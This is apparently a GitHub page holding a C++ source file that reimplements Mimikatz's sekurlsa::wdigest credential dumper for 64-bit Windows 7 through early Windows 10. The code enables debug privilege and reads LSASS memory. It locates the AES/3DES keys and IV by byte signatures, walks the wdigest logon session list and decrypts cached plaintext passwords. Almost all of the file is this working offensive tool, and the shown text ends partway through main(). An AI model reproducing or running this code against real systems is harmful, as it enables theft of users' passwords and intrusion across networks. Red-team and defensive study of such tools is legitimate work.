-
Notifications
You must be signed in to change notification settings - Fork 121
/
sekurlsa-wdigest.cpp
744 lines (609 loc) · 24.7 KB
/
sekurlsa-wdigest.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <psapi.h>
#include <ntsecapi.h>
#include <sspi.h>
#include <sddl.h>
#include <wincred.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#include <stdio.h>
#include <bcrypt.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#pragma comment(lib,"Bcrypt.lib")
#pragma comment(lib,"psapi.lib")
#pragma comment(lib, "advapi32.lib")
//** Offsets and Structs credited to Mimikatz **/
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY* Flink;
struct _KIWI_WDIGEST_LIST_ENTRY* Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY* This;
LUID LocallyUniqueIdentifier;
UNICODE_STRING UserName; // 0x30
UNICODE_STRING Domaine; // 0x40
UNICODE_STRING Password; // 0x50
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[60]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;
typedef struct _KIWI_BCRYPT_KEY {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG bits;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY81 key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
// Signature used to find l_LogSessList (PTRN_WIN6_PasswdSet from Mimikatz)
unsigned char logSessListSig[] = { 0x48, 0x3b, 0xd9, 0x74 };
#define USERNAME_OFFSET 0x30
#define HOSTNAME_OFFSET 0x40
#define PASSWORD_OFFSET 0x50
//* End structs and offsets *//
// Holds extracted InitializationVector
unsigned char gInitializationVector[16];
// Holds extracted 3DES key
unsigned char gDesKey[24];
// Holds extracted AES key
unsigned char gAesKey[16];
// Decrypt wdigest cached credentials using AES or 3Des
ULONG DecryptCredentials(char* encrypedPass, DWORD encryptedPassLen, unsigned char* decryptedPass, ULONG decryptedPassLen) {
BCRYPT_ALG_HANDLE hProvider, hDesProvider;
BCRYPT_KEY_HANDLE hAes, hDes;
ULONG result;
NTSTATUS status;
unsigned char initializationVector[16];
// Same IV used for each cred, so we need to work on a local copy as this is updated
// each time by BCryptDecrypt
memcpy(initializationVector, gInitializationVector, sizeof(gInitializationVector));
if (encryptedPassLen % 8) {
// If suited to AES, lsasrv uses AES in CFB mode
printf("[-->] AES\n");
BCryptOpenAlgorithmProvider(&hProvider, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
BCryptGenerateSymmetricKey(hProvider, &hAes, NULL, 0, gAesKey, sizeof(gAesKey), 0);
status = BCryptDecrypt(hAes, (PUCHAR)encrypedPass, encryptedPassLen, 0, initializationVector, sizeof(gInitializationVector), decryptedPass, decryptedPassLen, &result, 0);
if (status != 0) {
return 0;
}
return result;
}
else {
// If suited to 3DES, lsasrv uses 3DES in CBC mode
printf("[-->] 3DES\n");
BCryptOpenAlgorithmProvider(&hDesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0);
BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
BCryptGenerateSymmetricKey(hDesProvider, &hDes, NULL, 0, gDesKey, sizeof(gDesKey), 0);
status = BCryptDecrypt(hDes, (PUCHAR)encrypedPass, encryptedPassLen, 0, initializationVector, 8, decryptedPass, decryptedPassLen, &result, 0);
if (status != 0) {
return 0;
}
return result;
}
}
// Read memory from LSASS process
SIZE_T ReadFromLsass(HANDLE hLsass, void* addr, void *memOut, int memOutLen) {
SIZE_T bytesRead = 0;
memset(memOut, 0, memOutLen);
ReadProcessMemory(hLsass, addr, memOut, memOutLen, &bytesRead);
return bytesRead;
}
// Open a handle to the LSASS process
HANDLE GrabLsassHandle(int pid) {
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
return procHandle;
}
// Searches for a provided pattern in memory and returns the offset
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) {
ULONG offset = 0;
// Hunt for signature locally to avoid a load of RPM calls
for (int i = 0; i < 0x200000; i++) {
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) {
if (memcmp(mem + i, signature, signatureLen) == 0) {
// Found the signature
offset = i;
break;
}
}
}
return offset;
}
// Recoveres AES, 3DES and IV from lsass memory required to decrypt wdigest credentials
int FindKeysOnWin7(HANDLE hLsass, char* lsasrvMem) {
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0x0d };
int IV_OFFSET = 59;
int DES_OFFSET = -61;
int AES_OFFSET = 25;
DWORD keySigOffset = 0;
DWORD ivOffset = 0;
DWORD desOffset = 0, aesOffset = 0;
KIWI_BCRYPT_HANDLE_KEY h3DesKey, hAesKey;
KIWI_BCRYPT_KEY extracted3DesKey, extractedAesKey;
void* keyPointer = NULL;
// Load lsasrv.dll locally to avoid multiple ReadProcessMemory calls into lsass
unsigned char *lsasrvLocal = (unsigned char*)LoadLibraryA("lsasrv.dll");
if (lsasrvLocal == (unsigned char*)0) {
printf("[x] Error: Could not load lsasrv.dll locally\n");
return 1;
}
printf("[*] Loaded lsasrv.dll locally at address %p\n", lsasrvLocal);
// Search for AES/3Des/IV signature within lsasrv.dll and grab the offset
keySigOffset = SearchPattern(lsasrvLocal, PTRN_WNO8_LsaInitializeProtectedMemory_KEY, sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY));
if (keySigOffset == 0) {
printf("[x] Error: Could not find offset to AES/3Des/IV keys\n");
return 1;
}
printf("[*] Found offset to AES/3Des/IV at %d\n", keySigOffset);
// Retrieve offset to InitializationVector address due to "lea reg, [InitializationVector]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + IV_OFFSET, (char*)&ivOffset, 4);
printf("[*] InitializationVector offset found as %d\n", ivOffset);
// Read InitializationVector (16 bytes)
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + IV_OFFSET + 4 + ivOffset, gInitializationVector, 16);
printf("[*] InitializationVector recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
for (int i = 0; i < 16; i++) {
printf("%02x ", gInitializationVector[i]);
}
printf("\n[*] ====[ End ]===\n");
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4);
printf("[*] h3DesKey offset found as %d\n", desOffset);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET + 4 + desOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(hLsass, keyPointer, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in the 3DES key
ReadFromLsass(hLsass, h3DesKey.key, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY));
printf("[*] 3Des Key recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
memcpy(gDesKey, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
for (unsigned int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
printf("%02x ", gDesKey[i]);
}
printf("\n[*] ====[ End ]===\n");
// Retrieve offset to hAesKey address due to "lea reg, [hAesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + AES_OFFSET, &aesOffset, 4);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + AES_OFFSET + 4 + aesOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(hLsass, keyPointer, &hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in AES key
ReadFromLsass(hLsass, hAesKey.key, &extractedAesKey, sizeof(KIWI_BCRYPT_KEY));
printf("[*] Aes Key recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
memcpy(gAesKey, extractedAesKey.hardkey.data, extractedAesKey.hardkey.cbSecret);
for (unsigned int i = 0; i < extractedAesKey.hardkey.cbSecret; i++) {
printf("%02x ", gAesKey[i]);
}
printf("\n[*] ====[ End ]===\n");
return 0;
}
// Recoveres AES, 3DES and IV from lsass memory required to decrypt wdigest credentials
int FindKeysOnWin8(HANDLE hLsass, char* lsasrvMem) {
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8b, 0x0d };
int IV_OFFSET = 62;
int DES_OFFSET = -70;
int AES_OFFSET = 23;
DWORD keySigOffset = 0;
DWORD ivOffset = 0;
DWORD desOffset = 0, aesOffset = 0;
KIWI_BCRYPT_HANDLE_KEY h3DesKey, hAesKey;
KIWI_BCRYPT_KEY81 extracted3DesKey, extractedAesKey;
void* keyPointer = NULL;
// Load lsasrv.dll locally to avoid multiple ReadProcessMemory calls into lsass
unsigned char *lsasrvLocal = (unsigned char*)LoadLibraryA("lsasrv.dll");
if (lsasrvLocal == (unsigned char*)0) {
printf("[x] Error: Could not load lsasrv.dll locally\n");
return 1;
}
printf("[*] Loaded lsasrv.dll locally at address %p\n", lsasrvLocal);
// Search for AES/3Des/IV signature within lsasrv.dll and grab the offset
keySigOffset = SearchPattern(lsasrvLocal, PTRN_WIN8_LsaInitializeProtectedMemory_KEY, sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY));
if (keySigOffset == 0) {
printf("[x] Error: Could not find offset to AES/3Des/IV keys\n");
return 1;
}
printf("[*] Found offset to AES/3Des/IV at %d\n", keySigOffset);
// Retrieve offset to InitializationVector address due to "lea reg, [InitializationVector]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + IV_OFFSET, (char*)&ivOffset, 4);
printf("[*] InitializationVector offset found as %d\n", ivOffset);
// Read InitializationVector (16 bytes)
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + IV_OFFSET + 4 + ivOffset, gInitializationVector, 16);
printf("[*] InitializationVector recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
for (int i = 0; i < 16; i++) {
printf("%02x ", gInitializationVector[i]);
}
printf("\n[*] ====[ End ]===\n");
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4);
printf("[*] h3DesKey offset found as %d\n", desOffset);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET + 4 + desOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(hLsass, keyPointer, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in the 3DES key
ReadFromLsass(hLsass, h3DesKey.key, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY));
printf("[*] 3Des Key recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
memcpy(gDesKey, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
for (unsigned int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
printf("%02x ", gDesKey[i]);
}
printf("\n[*] ====[ End ]===\n");
// Retrieve offset to hAesKey address due to "lea reg, [hAesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + AES_OFFSET, &aesOffset, 4);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + AES_OFFSET + 4 + aesOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(hLsass, keyPointer, &hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in AES key
ReadFromLsass(hLsass, hAesKey.key, &extractedAesKey, sizeof(KIWI_BCRYPT_KEY));
printf("[*] Aes Key recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
memcpy(gAesKey, extractedAesKey.hardkey.data, extractedAesKey.hardkey.cbSecret);
for (unsigned int i = 0; i < extractedAesKey.hardkey.cbSecret; i++) {
printf("%02x ", gAesKey[i]);
}
printf("\n[*] ====[ End ]===\n");
return 0;
}
// Recoveres AES, 3DES and IV from lsass memory required to decrypt wdigest credentials
// before Win10_1903
int FindKeysOnWin10(HANDLE hLsass, char* lsasrvMem) {
BYTE PTRN_WN10_LsaInitializeProtectedMemory_KEY[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
int IV_OFFSET = 61;
int DES_OFFSET = -73;
int AES_OFFSET = 16;
DWORD keySigOffset = 0;
DWORD ivOffset = 0;
DWORD desOffset = 0, aesOffset = 0;
KIWI_BCRYPT_HANDLE_KEY h3DesKey, hAesKey;
KIWI_BCRYPT_KEY81 extracted3DesKey, extractedAesKey;
void* keyPointer = NULL;
// Load lsasrv.dll locally to avoid multiple ReadProcessMemory calls into lsass
unsigned char *lsasrvLocal = (unsigned char*)LoadLibraryA("lsasrv.dll");
if (lsasrvLocal == (unsigned char*)0) {
printf("[x] Error: Could not load lsasrv.dll locally\n");
return 1;
}
printf("[*] Loaded lsasrv.dll locally at address %p\n", lsasrvLocal);
// Search for AES/3Des/IV signature within lsasrv.dll and grab the offset
keySigOffset = SearchPattern(lsasrvLocal, PTRN_WN10_LsaInitializeProtectedMemory_KEY, sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY));
if (keySigOffset == 0) {
printf("[x] Error: Could not find offset to AES/3Des/IV keys\n");
return 1;
}
printf("[*] Found offset to AES/3Des/IV at %d\n", keySigOffset);
// Retrieve offset to InitializationVector address due to "lea reg, [InitializationVector]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + IV_OFFSET, (char*)&ivOffset, 4);
printf("[*] InitializationVector offset found as %d\n", ivOffset);
// Read InitializationVector (16 bytes)
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + IV_OFFSET + 4 + ivOffset, gInitializationVector, 16);
printf("[*] InitializationVector recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
for (int i = 0; i < 16; i++) {
printf("%02x ", gInitializationVector[i]);
}
printf("\n[*] ====[ End ]===\n");
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4);
printf("[*] h3DesKey offset found as %d\n", desOffset);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + DES_OFFSET + 4 + desOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(hLsass, keyPointer, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in the 3DES key
ReadFromLsass(hLsass, h3DesKey.key, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY));
printf("[*] 3Des Key recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
memcpy(gDesKey, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
for (unsigned int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
printf("%02x ", gDesKey[i]);
}
printf("\n[*] ====[ End ]===\n");
// Retrieve offset to hAesKey address due to "lea reg, [hAesKey]" instruction
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + AES_OFFSET, &aesOffset, 4);
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadFromLsass(hLsass, lsasrvMem + keySigOffset + AES_OFFSET + 4 + aesOffset, &keyPointer, sizeof(char*));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadFromLsass(hLsass, keyPointer, &hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in AES key
ReadFromLsass(hLsass, hAesKey.key, &extractedAesKey, sizeof(KIWI_BCRYPT_KEY));
printf("[*] Aes Key recovered as:\n");
printf("[*] ====[ Start ]====\n[*] ");
memcpy(gAesKey, extractedAesKey.hardkey.data, extractedAesKey.hardkey.cbSecret);
for (unsigned int i = 0; i < extractedAesKey.hardkey.cbSecret; i++) {
printf("%02x ", gAesKey[i]);
}
printf("\n[*] ====[ End ]===\n");
return 0;
}
// Reads out a LSA_UNICODE_STRING from lsass address provided
UNICODE_STRING *ExtractUnicodeString(HANDLE hLsass, char* addr) {
UNICODE_STRING *str;
WORD* mem;
str = (UNICODE_STRING*)LocalAlloc(LPTR, sizeof(UNICODE_STRING));
// Read LSA_UNICODE_STRING from lsass memory
ReadFromLsass(hLsass, addr, str, sizeof(UNICODE_STRING));
mem = (WORD*)LocalAlloc(LPTR, str->MaximumLength);
if (mem == (WORD*)0) {
LocalFree(str);
return NULL;
}
// Read the buffer contents for the LSA_UNICODE_STRING from lsass memory
ReadFromLsass(hLsass, *(void**)((char*)str + 8), mem, str->MaximumLength);
str->Buffer = (PWSTR)mem;
return str;
}
// Free memory allocated within getUnicodeString
void FreeUnicodeString(UNICODE_STRING* unicode) {
LocalFree(unicode->Buffer);
LocalFree(unicode);
}
// Hunts through wdigest and extracts credentials to be decrypted
int FindCredentials(HANDLE hLsass, char* wdigestMem) {
KIWI_WDIGEST_LIST_ENTRY entry;
DWORD logSessListSigOffset, logSessListOffset;
unsigned char* logSessListAddr;
unsigned char* wdigestLocal;
unsigned char* llCurrent, *llStart;
unsigned char passDecrypted[1024];
// Load wdigest.dll locally to avoid multiple ReadProcessMemory calls into lsass
wdigestLocal = (unsigned char*)LoadLibraryA("wdigest.dll");
if (wdigestLocal == NULL) {
printf("[x] Error: Could not load wdigest.dll into local process\n");
return 1;
}
printf("[*] Loaded wdigest.dll at address %p\n", wdigestLocal);
// Search for l_LogSessList signature within wdigest.dll and grab the offset
logSessListSigOffset = SearchPattern(wdigestLocal, logSessListSig, sizeof(logSessListSig));
if (logSessListSigOffset == 0) {
printf("[x] Error: Could not find l_LogSessList signature\n");
return 1;
}
printf("[*] l_LogSessList offset found as %d\n", logSessListSigOffset);
// Read memory offset to l_LogSessList from a "lea reg, [l_LogSessList]" asm
ReadFromLsass(hLsass, wdigestMem + logSessListSigOffset - 4, &logSessListOffset, sizeof(DWORD));
// Read pointer at address to get the true memory location of l_LogSessList
ReadFromLsass(hLsass, wdigestMem + logSessListSigOffset + logSessListOffset, &logSessListAddr, sizeof(char*));
printf("[*] l_LogSessList found at address %p\n", logSessListAddr);
printf("[*] Credentials incoming... (hopefully)\n\n");
// Read first entry from linked list
ReadFromLsass(hLsass, logSessListAddr, &entry, sizeof(KIWI_WDIGEST_LIST_ENTRY));
llCurrent = (unsigned char*)entry.This;
do {
memset(&entry, 0, sizeof(entry));
// Read entry from linked list
ReadFromLsass(hLsass, llCurrent, &entry, sizeof(KIWI_WDIGEST_LIST_ENTRY));
if (entry.UsageCount == 1) {
UNICODE_STRING* username = ExtractUnicodeString(hLsass, (char*)llCurrent + USERNAME_OFFSET);
UNICODE_STRING * hostname = ExtractUnicodeString(hLsass, (char*)llCurrent + HOSTNAME_OFFSET);
UNICODE_STRING * password = ExtractUnicodeString(hLsass, (char*)llCurrent + PASSWORD_OFFSET);
if (username != NULL && username->Length != 0) {
printf("\n[-->] Username: %ls\n", username->Buffer);
}
else {
printf("\n[-->] Username: [NULL]\n");
}
if (hostname != NULL && hostname->Length != 0) {
printf("[-->] Hostname: %ls\n", hostname->Buffer);
}
else {
printf("[-->] Hostname: [NULL]\n");
}
// Check if password is present
if (password->Length != 0 && (password->Length % 2) == 0) {
// Decrypt password using recovered AES/3Des keys and IV
if (DecryptCredentials((char*)password->Buffer, password->MaximumLength, passDecrypted, sizeof(passDecrypted)) > 0) {
printf("[-->] Password: %ls\n\n", passDecrypted);
}
}
else {
printf("[-->] Password: [NULL]\n\n");
}
FreeUnicodeString(username);
FreeUnicodeString(hostname);
FreeUnicodeString(password);
}
llCurrent = (unsigned char*)entry.Flink;
} while (llCurrent != logSessListAddr);
return 0;
}
// Searches for lsass.exe PID
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
BOOL EnableDebugPrivilege(BOOL fEnable)
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}
int GetOSVersion()
{
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary(L"ntdll.dll");
DWORD dwMajor, dwMinor, dwBuildNumber;
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
proc(&dwMajor, &dwMinor, &dwBuildNumber);
if (dwMajor == 10 && dwMinor == 0) {
printf("[*] OS: Windows 10\n");
return 3;
}
SYSTEM_INFO info;
GetSystemInfo(&info);
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (GetVersionEx((OSVERSIONINFO *)&os))
{
switch (os.dwMajorVersion)
{
case 6:
switch (os.dwMinorVersion)
{
case 0:
if (os.wProductType == VER_NT_WORKSTATION) {
printf("[*] OS: Windows Vista\n");
return 1;
}
else {
printf("[*] OS: Windows Server 2008\n");
return 1;
}
case 1:
if (os.wProductType == VER_NT_WORKSTATION)
printf("[*] OS: Windows 7\n");
else
printf("[*] OS:Windows Windows Server 2008 R2\n");
return 1;
case 2:
if (os.wProductType == VER_NT_WORKSTATION)
printf("[*] OS: Windows 8\n");
else
printf("[*] OS: Windows Server 2012\n");
return 2;
}
break;
default:
printf("[!] Too old\n");
}
}
else
printf("[!] Error\n");
return 0;
}
int main()
{
printf("\nUse to get plain-text credentials of the 64-bit OS.\n");
printf("This is a simple implementation of Mimikatz's sekurlsa::wdigest\n\n");
printf("Support:\n");
printf(" - Win7 x64/Windows Server 2008 x64/Windows Server 2008R2 x64\n");
printf(" - Win8 x64/Windows Server 2012 x64/Windows Server 2012R2 x64\n");
printf(" - Win10_1507(and before 1903) x64\n\n");
printf("Source: https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394 \n");
printf("The following functions have been added:\n");
printf(" - EnableDebugPrivilege\n");
printf(" - GetOSVersion\n");
printf(" - Support different OS\n\n");
if (!EnableDebugPrivilege(TRUE))
{
printf("[!]AdjustTokenPrivileges Failed.<%d>\n", GetLastError());
}
HANDLE hLsass;
HMODULE lsassDll[1024];
DWORD bytesReturned;
char modName[MAX_PATH];
char* lsass = NULL, *lsasrv = NULL, *wdigest = NULL;
// Open up a PROCESS_QUERY_INFORMATION | PROCESS_VM_READ handle to lsass process
hLsass = GrabLsassHandle(GetLsassPid());
if (hLsass == INVALID_HANDLE_VALUE) {
printf("[x] Error: Could not open handle to lsass process\n");
return 1;
}
// Enumerate all loaded modules within lsass process
if (EnumProcessModules(hLsass, lsassDll, sizeof(lsassDll), &bytesReturned)) {
// For each DLL address, get its name so we can find what we are looking for
for (int i = 0; i < bytesReturned / sizeof(HMODULE); i++) {
GetModuleFileNameExA(hLsass, lsassDll[i], modName, sizeof(modName));
// Find DLL's we want to hunt for signatures within
if (strstr(modName, "lsass.exe") != (char*)0)
lsass = (char*)lsassDll[i];
else if (strstr(modName, "wdigest.DLL") != (char*)0)
wdigest = (char*)lsassDll[i];
else if (strstr(modName, "lsasrv.dll") != (char*)0)
lsasrv = (char*)lsassDll[i];
}
}
else
{
printf("[!]Error code of EnumProcessModules():%d\n", GetLastError());
return 0;
}
// Make sure we have all the DLLs that we require
if (lsass == NULL || wdigest == NULL || lsasrv == NULL) {
printf("[x] Error: Could not find all DLL's in LSASS :(\n");
return 1;
}
printf("[*] lsass.exe found at %p\n", lsass);
printf("[*] wdigest.dll found at %p\n", wdigest);
printf("[*] lsasrv.dll found at %p\n", lsasrv);
// Now we need to search through lsass for the AES, 3DES, and IV values
int flag = GetOSVersion();
if (flag == 0)
return 0;
else if (flag == 1) {
if (FindKeysOnWin7(hLsass, lsasrv) != 0) {
printf("[x] Error: Could not find keys in lsass\n");
return 1;
}
}
else if (flag == 2) {
BYTE keyIVSig[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8b, 0x0d };
if (FindKeysOnWin8(hLsass, lsasrv) != 0) {
printf("[x] Error: Could not find keys in lsass\n");
return 1;
}
}
